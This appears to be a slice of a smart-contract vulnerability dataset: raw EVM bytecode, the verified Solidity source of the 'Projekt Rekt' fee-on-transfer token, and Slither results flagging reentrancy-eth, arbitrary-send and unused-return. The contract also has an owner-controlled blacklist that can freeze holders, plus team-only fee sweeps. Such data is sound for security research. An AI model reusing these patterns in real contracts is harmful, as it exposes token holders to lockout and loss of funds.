fc257f9190a4610d72828483610db8565b50505050565b4690565b6000838301826001600160601b038087169083161015610daf5760405162461bcd60e51b815260040161059e9190611749565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610de357506000816001600160601b0316115b15610ce9576001600160a01b03831615610e9b576001600160a01b03831660009081526004602052604081205463ffffffff169081610e23576000610e62565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e8982856040518060600160405280602881526020016119fe60289139610b04565b9050610e9786848484610f46565b5050505b6001600160a01b03821615610ce9576001600160a01b03821660009081526004602052604081205463ffffffff169081610ed6576000610f15565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f3c82856040518060600160405280602781526020016119d760279139610d7c565b9050610a5a858484845b6000610f6a43604051806060016040528060348152602001611922603491396110fb565b905060008463ffffffff16118015610fb357506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611012576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110b1565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110ec92919061180d565b60405180910390a25050505050565b600081600160201b8410610afc5760405162461bcd60e51b815260040161059e9190611749565b604080518082019091526000808252602082015290565b80356103a2816118b5565b80356103a2816118c9565b80356103a2816118d2565b80356103a2816118db565b60006020828403121561117757600080fd5b60006111838484611139565b949350505050565b6000806040838503121561119e57600080fd5b60006111aa8585611139565b92505060206111bb85828601611139565b9150509250929050565b6000806000606084860312156111da57600080fd5b60006111e68686611139565b93505060206111f786828701611139565b925050604061120886828701611144565b9150509250925092565b6000806040838503121561122557600080fd5b60006112318585611139565b92505060206111bb85828601611144565b60008060008060008060c0878903121561125b57600080fd5b60006112678989611139565b965050602061127889828a01611144565b955050604061128989828a01611144565b945050606061129a89828a0161115a565b93505060806112ab89828a01611144565b92505060a06112bc89828a01611144565b9150509295509295509295565b600080604083850312156112dc57600080fd5b60006112e88585611139565b92505060206111bb8582860161114f565b6113028161183a565b82525050565b61130281611845565b6113028161184a565b6113026113268261184a565b61184a565b600061133682611828565b611340818561182c565b935061135081856020860161187f565b611359816118ab565b9093019392505050565b600061137060228361182c565b7f526966693a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b60006113b4603c8361182c565b7f526966693a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b6000611413600283611835565b61190160f01b815260020192915050565b600061143160268361182c565b7f526966693a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b600061147960278361182c565b7f526966693a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b60006114c2604383611835565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b600061152d603a83611835565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b600061158c60268361182c565b7f526966693a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b60006115d4603a8361182c565b7f526966693a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b61130281611859565b61130281611862565b61130281611874565b61130281611868565b600061165582611406565b9150611661828561131a565b602082019150611671828461131a565b5060200192915050565b60006103a2826114b5565b60006103a282611520565b602081016103a282846112f9565b602081016103a28284611308565b602081016103a28284611311565b608081016116c98287611311565b6116d660208301866112f9565b6116e36040830185611311565b6116f06060830184611311565b95945050505050565b608081016117078287611311565b6117146020830186611311565b6117216040830185611311565b6116f060608301846112f9565b6080810161173c8287611311565b6116d6602083018661162f565b6020808252810161050d818461132b565b602080825281016103a281611363565b602080825281016103a2816113a7565b602080825281016103a281611424565b602080825281016103a28161146c565b602080825281016103a28161157f565b602080825281016103a2816115c7565b602081016103a28284611626565b604081016117d68285611626565b61050d6020830184611641565b602081016103a2828461162f565b602081016103a28284611638565b602081016103a28284611641565b6040810161181b8285611638565b61050d6020830184611638565b5190565b90815260200190565b919050565b60006103a28261184d565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103a282611868565b60005b8381101561189a578181015183820152602001611882565b83811115610d725750506000910152565b601f01601f191690565b6118be8161183a565b811461053e57600080fd5b6118be8161184a565b6118be81611859565b6118be8161186256fe526966693a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365526966693a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473526966693a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365526966693a3a617070726f76653a20616d6f756e7420657863656564732039362062697473526966693a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473526966693a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773526966693a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773526966693a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773a365627a7a72315820ccfb8b0d5e38c2c68fb47c718e00153edda163bf5031e8d0183c04d2bb6f7a356c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
7,147
0x33e5afebf8113594d270badaa6bcc075dbe79d76
/** *Submitted for verification at Etherscan.io on 2021-06-17 */ // SPDX-License-Identifier: Unlicensed // https://t.me/ProjektRekt pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ProjektRekt is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Projekt Rekt"; string private constant _symbol = "REKT\xF0\x9F\x92\x80"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; //redist _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 2500000000 * 10**9; //_maxTxAmount = 1000000000000000000000; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f6578063c3c8cd8014610316578063c9567bf91461032b578063d543dbeb14610340578063dd62ed3e1461036057600080fd5b8063715018a6146102695780638da5cb5b1461027e57806395d89b41146102a6578063a9059cbb146102d657600080fd5b8063273123b7116100dc578063273123b7146101d6578063313ce567146101f85780635932ead1146102145780636fc3eaec1461023457806370a082311461024957600080fd5b806306fdde0314610119578063095ea7b31461016057806318160ddd1461019057806323b872dd146101b657600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b141c9bda995add0814995add60a21b60208201525b60405161015791906119f3565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004611884565b6103a6565b6040519015158152602001610157565b34801561019c57600080fd5b50683635c9adc5dea000005b604051908152602001610157565b3480156101c257600080fd5b506101806101d1366004611844565b6103bd565b3480156101e257600080fd5b506101f66101f13660046117d4565b610426565b005b34801561020457600080fd5b5060405160098152602001610157565b34801561022057600080fd5b506101f661022f366004611976565b61047a565b34801561024057600080fd5b506101f66104c2565b34801561025557600080fd5b506101a86102643660046117d4565b6104ef565b34801561027557600080fd5b506101f6610511565b34801561028a57600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102b257600080fd5b50604080518082019091526008815266a48a96a9e13f2560c71b602082015261014a565b3480156102e257600080fd5b506101806102f1366004611884565b610585565b34801561030257600080fd5b506101f66103113660046118af565b610592565b34801561032257600080fd5b506101f6610636565b34801561033757600080fd5b506101f661066c565b34801561034c57600080fd5b506101f661035b3660046119ae565b610a2e565b34801561036c57600080fd5b506101a861037b36600461180c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b3338484610b01565b5060015b92915050565b60006103ca848484610c25565b61041c843361041785604051806060016040528060288152602001611bc4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611037565b610b01565b5060019392505050565b6000546001600160a01b031633146104595760405162461bcd60e51b815260040161045090611a46565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a45760405162461bcd60e51b815260040161045090611a46565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e257600080fd5b476104ec81611071565b50565b6001600160a01b0381166000908152600260205260408120546103b7906110f6565b6000546001600160a01b0316331461053b5760405162461bcd60e51b815260040161045090611a46565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b3338484610c25565b6000546001600160a01b031633146105bc5760405162461bcd60e51b815260040161045090611a46565b60005b8151811015610632576001600a60008484815181106105ee57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062a81611b59565b9150506105bf565b5050565b600c546001600160a01b0316336001600160a01b03161461065657600080fd5b6000610661306104ef565b90506104ec8161117a565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161045090611a46565b600f54600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610450565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072d3082683635c9adc5dea00000610b01565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076657600080fd5b505afa15801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e91906117f0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e657600080fd5b505afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e91906117f0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086657600080fd5b505af115801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e91906117f0565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108ce816104ef565b6000806108e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094657600080fd5b505af115801561095a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097f91906119c6565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b1981166201000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f657600080fd5b505af1158015610a0a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106329190611992565b6000546001600160a01b03163314610a585760405162461bcd60e51b815260040161045090611a46565b60008111610aa85760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610450565b610ac66064610ac0683635c9adc5dea000008461131f565b9061139e565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b038216610bc45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610ceb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b60008111610d4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6000546001600160a01b03848116911614801590610d7957506000546001600160a01b03838116911614155b15610fda57600f54600160b81b900460ff1615610e60576001600160a01b0383163014801590610db257506001600160a01b0382163014155b8015610dcc5750600e546001600160a01b03848116911614155b8015610de65750600e546001600160a01b03838116911614155b15610e6057600e546001600160a01b0316336001600160a01b03161480610e205750600f546001600160a01b0316336001600160a01b0316145b610e605760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610450565b601054811115610e6f57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb157506001600160a01b0382166000908152600a602052604090205460ff16155b610eba57600080fd5b600f546001600160a01b038481169116148015610ee55750600e546001600160a01b03838116911614155b8015610f0a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1f5750600f54600160b81b900460ff165b15610f6d576001600160a01b0382166000908152600b60205260409020544211610f4857600080fd5b610f5342603c611aeb565b6001600160a01b0383166000908152600b60205260409020555b6000610f78306104ef565b600f54909150600160a81b900460ff16158015610fa35750600f546001600160a01b03858116911614155b8015610fb85750600f54600160b01b900460ff165b15610fd857610fc68161117a565b478015610fd657610fd647611071565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101c57506001600160a01b03831660009081526005602052604090205460ff165b15611025575060005b611031848484846113e0565b50505050565b6000818484111561105b5760405162461bcd60e51b815260040161045091906119f3565b5060006110688486611b42565b95945050505050565b600c546001600160a01b03166108fc61108b83600261139e565b6040518115909202916000818181858888f193505050501580156110b3573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110ce83600261139e565b6040518115909202916000818181858888f19350505050158015610632573d6000803e3d6000fd5b600060065482111561115d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b600061116761140c565b9050611173838261139e565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122457600080fd5b505afa158015611238573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125c91906117f0565b8160018151811061127d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a39130911684610b01565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112dc908590600090869030904290600401611a7b565b600060405180830381600087803b1580156112f657600080fd5b505af115801561130a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132e575060006103b7565b600061133a8385611b23565b9050826113478583611b03565b146111735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600061117383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142f565b806113ed576113ed61145d565b6113f8848484611480565b80611031576110316001600855600a600955565b6000806000611419611577565b9092509050611428828261139e565b9250505090565b600081836114505760405162461bcd60e51b815260040161045091906119f3565b5060006110688486611b03565b60085415801561146d5750600954155b1561147457565b60006008819055600955565b600080600080600080611492876115b9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c49087611616565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f39086611658565b6001600160a01b038916600090815260026020526040902055611515816116b7565b61151f8483611701565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156491815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611593828261139e565b8210156115b057505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d68a600854600954611725565b92509250925060006115e661140c565b905060008060006115f98e878787611774565b919e509c509a509598509396509194505050505091939550919395565b600061117383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611037565b6000806116658385611aeb565b9050838110156111735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b60006116c161140c565b905060006116cf838361131f565b306000908152600260205260409020549091506116ec9082611658565b30600090815260026020526040902055505050565b60065461170e9083611616565b60065560075461171e9082611658565b6007555050565b60008080806117396064610ac0898961131f565b9050600061174c6064610ac08a8961131f565b905060006117648261175e8b86611616565b90611616565b9992985090965090945050505050565b6000808080611783888661131f565b90506000611791888761131f565b9050600061179f888861131f565b905060006117b18261175e8686611616565b939b939a50919850919650505050505050565b80356117cf81611ba0565b919050565b6000602082840312156117e5578081fd5b813561117381611ba0565b600060208284031215611801578081fd5b815161117381611ba0565b6000806040838503121561181e578081fd5b823561182981611ba0565b9150602083013561183981611ba0565b809150509250929050565b600080600060608486031215611858578081fd5b833561186381611ba0565b9250602084013561187381611ba0565b929592945050506040919091013590565b60008060408385031215611896578182fd5b82356118a181611ba0565b946020939093013593505050565b600060208083850312156118c1578182fd5b823567ffffffffffffffff808211156118d8578384fd5b818501915085601f8301126118eb578384fd5b8135818111156118fd576118fd611b8a565b8060051b604051601f19603f8301168101818110858211171561192257611922611b8a565b604052828152858101935084860182860187018a1015611940578788fd5b8795505b8386101561196957611955816117c4565b855260019590950194938601938601611944565b5098975050505050505050565b600060208284031215611987578081fd5b813561117381611bb5565b6000602082840312156119a3578081fd5b815161117381611bb5565b6000602082840312156119bf578081fd5b5035919050565b6000806000606084860312156119da578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1f57858101830151858201604001528201611a03565b81811115611a305783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611aca5784516001600160a01b031683529383019391830191600101611aa5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611afe57611afe611b74565b500190565b600082611b1e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3d57611b3d611b74565b500290565b600082821015611b5457611b54611b74565b500390565b6000600019821415611b6d57611b6d611b74565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ec57600080fd5b80151581146104ec57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122066a2b765c59111a21c9e9affb371b0661d424655c4cea6af60b3f34dd3ca785764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,148
0xa52fd1f91d8d4b9943ced04be06fff4f463289a9
